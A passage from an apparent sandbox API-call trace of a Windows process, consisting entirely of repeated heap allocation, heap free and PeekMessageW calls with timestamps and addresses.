(HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf3e8 [0138.727] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055590 [0138.727] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055590 | out: hHeap=0xe80000) returned 1 [0138.727] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf3e8 | out: hHeap=0xe80000) returned 1 [0138.727] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf3d8 | out: hHeap=0xe80000) returned 1 [0138.727] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeec4d0 [0138.727] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0138.728] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeec4d0 | out: hHeap=0xe80000) returned 1 [0138.728] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0138.728] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf3d8 [0138.728] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf3e8 [0138.728] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055710 [0138.728] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055710 | out: hHeap=0xe80000) returned 1 [0138.728] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf3e8 | out: hHeap=0xe80000) returned 1 [0138.728] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf3d8 | out: hHeap=0xe80000) returned 1 [0138.728] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeec950 [0138.728] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0138.729] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeec950 | out: hHeap=0xe80000) returned 1 [0138.824] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0138.824] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf3e8 [0138.824] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf3d8 [0138.824] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055590 [0138.824] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055590 | out: hHeap=0xe80000) returned 1 [0138.824] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf3d8 | out: hHeap=0xe80000) returned 1 [0138.824] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf3e8 | out: hHeap=0xe80000) returned 1 [0138.824] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeecad0 [0138.824] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0138.825] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeecad0 | out: hHeap=0xe80000) returned 1 [0138.825] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0138.825] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf3d8 [0138.825] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf3e8 [0138.825] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055590 [0138.825] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055590 | out: hHeap=0xe80000) returned 1 [0138.825] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf3e8 | out: hHeap=0xe80000) returned 1 [0138.825] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf3d8 | out: hHeap=0xe80000) returned 1 [0138.826] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeec4d0 [0138.826] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0138.827] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeec4d0 | out: hHeap=0xe80000) returned 1 [0138.827] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0138.827] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf3d8 [0138.827] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf3e8 [0138.827] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055710 [0138.827] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055710 | out: hHeap=0xe80000) returned 1 [0138.827] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf3e8 | out: hHeap=0xe80000) returned 1 [0138.827] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf3d8 | out: hHeap=0xe80000) returned 1 [0138.827] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeec7d0 [0138.827] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0138.828] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeec7d0 | out: hHeap=0xe80000) returned 1 [0138.828] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0138.829] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf3d8 [0138.829] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf3e8 [0138.829] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055710 [0138.829] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055710 | out: hHeap=0xe80000) returned 1 [0138.829] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf3e8 | out: hHeap=0xe80000) returned 1 [0138.829] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf3d8 | out: hHeap=0xe80000) returned 1 [0138.829] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeeca50 [0138.829] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0138.830] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeeca50 | out: hHeap=0xe80000) returned 1 [0138.830] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0138.830] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf3d8 [0138.830] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf3e8 [0138.830] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055590 [0138.831] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055590 | out: hHeap=0xe80000) returned 1 [0138.831] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf3e8 | out: hHeap=0xe80000) returned 1 [0138.831] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf3d8 | out: hHeap=0xe80000) returned 1 [0138.831] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeec910 [0138.831] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0138.831] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf3d8 [0138.831] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1077b10 [0138.831] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf3d8 | out: hHeap=0xe80000) returned 1 [0138.831] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1077b10 | out: hHeap=0xe80000) returned 1 [0138.831] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0138.831] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf3d8 [0138.832] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf3d8 | out: hHeap=0xe80000) returned 1 [0138.832] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0138.832] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xeba4d0 [0138.832] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1077b10 [0138.832] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf3d8 [0138.832] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf3d8 | out: hHeap=0xe80000) returned 1 [0138.832] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1077b10 | out: hHeap=0xe80000) returned 1 [0138.833] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeba4d0 | out: hHeap=0xe80000) returned 1 [0138.833] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0138.833] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeec910 | out: hHeap=0xe80000) returned 1 [0138.833] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0138.833] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf3d8 [0138.833] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf3e8 [0138.833] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055710 [0138.833] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055710 | out: hHeap=0xe80000) returned 1 [0138.834] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf3e8 | out: hHeap=0xe80000) returned 1 [0138.834] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf3d8 | out: hHeap=0xe80000) returned 1 [0138.834] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeeca90 [0138.834] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0138.834] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeeca90 | out: hHeap=0xe80000) returned 1 [0138.834] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0138.834] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf3d8 [0138.835] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf3e8 [0138.835] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055590 [0138.835] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055590 | out: hHeap=0xe80000) returned 1 [0138.835] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf3e8 | out: hHeap=0xe80000) returned 1 [0138.835] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf3d8 | out: hHeap=0xe80000) returned 1 [0138.835] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeec750 [0138.835] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0138.836] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeec750 | out: hHeap=0xe80000) returned 1 [0138.836] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0138.836] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf3d8 [0138.836] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf3e8 [0138.836] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055710 [0138.836] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055710 | out: hHeap=0xe80000) returned 1 [0138.836] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf3e8 | out: hHeap=0xe80000) returned 1 [0138.836] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf3d8 | out: hHeap=0xe80000) returned 1 [0138.836] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeec650 [0138.837] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0138.837] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeec650 | out: hHeap=0xe80000) returned 1 [0138.837] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0138.837] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf3d8 [0138.837] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf3e8 [0138.837] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055710 [0138.838] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055710 | out: hHeap=0xe80000) returned 1 [0138.838] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf3e8 | out: hHeap=0xe80000) returned 1 [0138.838] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf3d8 | out: hHeap=0xe80000) returned 1 [0138.838] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeec950 [0138.838] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0138.838] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeec950 | out: hHeap=0xe80000) returned 1 [0138.838] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0138.838] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf3d8 [0138.840] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf3e8 [0138.840] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055590 [0138.840] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055590 | out: hHeap=0xe80000) returned 1 [0138.840] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf3e8 | out: hHeap=0xe80000) returned 1 [0138.840] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf3d8 | out: hHeap=0xe80000) returned 1 [0138.840] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeeca50 [0138.840] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0138.840] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeeca50 | out: hHeap=0xe80000) returned 1 [0138.840] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0138.840] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf3d8 [0138.840] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf3e8 [0138.840] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055590 [0138.841] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055590 | out: hHeap=0xe80000) returned 1 [0138.841] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf3e8 | out: hHeap=0xe80000) returned 1 [0138.841] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf3d8 | out: hHeap=0xe80000) returned 1 [0138.841] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeeca50 [0138.841] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0138.841] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeeca50 | out: hHeap=0xe80000) returned 1 [0138.841] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0138.841] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf3d8 [0138.841] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf3e8 [0138.841] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055590 [0138.841] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055590 | out: hHeap=0xe80000) returned 1 [0138.841] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf3e8 | out: hHeap=0xe80000) returned 1 [0138.841] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf3d8 | out: hHeap=0xe80000) returned 1 [0138.841] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeec6d0 [0138.841] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0138.841] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeec6d0 | out: hHeap=0xe80000) returned 1 [0138.841] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0138.842] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf3d8 [0138.842] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf3e8 [0138.842] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055590 [0138.842] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055590 | out: hHeap=0xe80000) returned 1 [0138.842] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf3e8 | out: hHeap=0xe80000) returned 1 [0138.842] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf3d8 | out: hHeap=0xe80000) returned 1 [0138.842] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeecb50 [0138.842] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0138.842] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeecb50 | out: hHeap=0xe80000) returned 1 [0138.842] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0138.842] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf3d8 [0138.842] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf3e8 [0138.842] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055590 [0138.842] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055590 | out: hHeap=0xe80000) returned 1 [0138.843] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf3e8 | out: hHeap=0xe80000) returned 1 [0138.843] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf3d8 | out: hHeap=0xe80000) returned 1 [0138.843] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeec610 [0138.843] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0138.843] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeec610 | out: hHeap=0xe80000) returned 1 [0138.843] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0138.843] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf3d8 [0138.843] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf3e8 [0138.843] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055590 [0138.843] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055590 | out: hHeap=0xe80000) returned 1 [0138.843] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf3e8 | out: hHeap=0xe80000) returned 1 [0138.843] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf3d8 | out: hHeap=0xe80000) returned 1 [0138.843] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeec750 [0138.843] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0138.844] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeec750 | out: hHeap=0xe80000) returned 1 [0138.844] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0138.844] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf3d8 [0138.844] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf3e8 [0138.844] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055590 [0138.844] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055590 | out: hHeap=0xe80000) returned 1 [0138.844] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf3e8 | out: hHeap=0xe80000) returned 1 [0138.844] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf3d8 | out: hHeap=0xe80000) returned 1 [0138.844] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeec650 [0138.844] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0138.844] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeec650 | out: hHeap=0xe80000) returned 1 [0138.844] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0138.844] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf3d8 [0138.844] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf3e8 [0138.844] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055710 [0138.844] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055710 | out: hHeap=0xe80000) returned 1 [0138.845] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf3e8 | out: hHeap=0xe80000) returned 1 [0138.845] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf3d8 | out: hHeap=0xe80000) returned 1 [0138.845] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeec690 [0138.845] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0138.845] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeec690 | out: hHeap=0xe80000) returned 1 [0138.845] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0138.845] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf3d8 [0138.845] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf3e8 [0138.845] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055710 [0138.845] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055710 | out: hHeap=0xe80000) returned 1 [0138.845] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf3e8 | out: hHeap=0xe80000) returned 1 [0138.845] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf3d8 | out: hHeap=0xe80000) returned 1 [0138.845] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeec650 [0138.845] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0138.846] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeec650 | out: hHeap=0xe80000) returned 1 [0138.846] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0138.846] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf3d8 [0138.846] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf3e8 [0138.846] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055710 [0138.846] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055710 | out: hHeap=0xe80000) returned 1 [0138.846] HeapFree 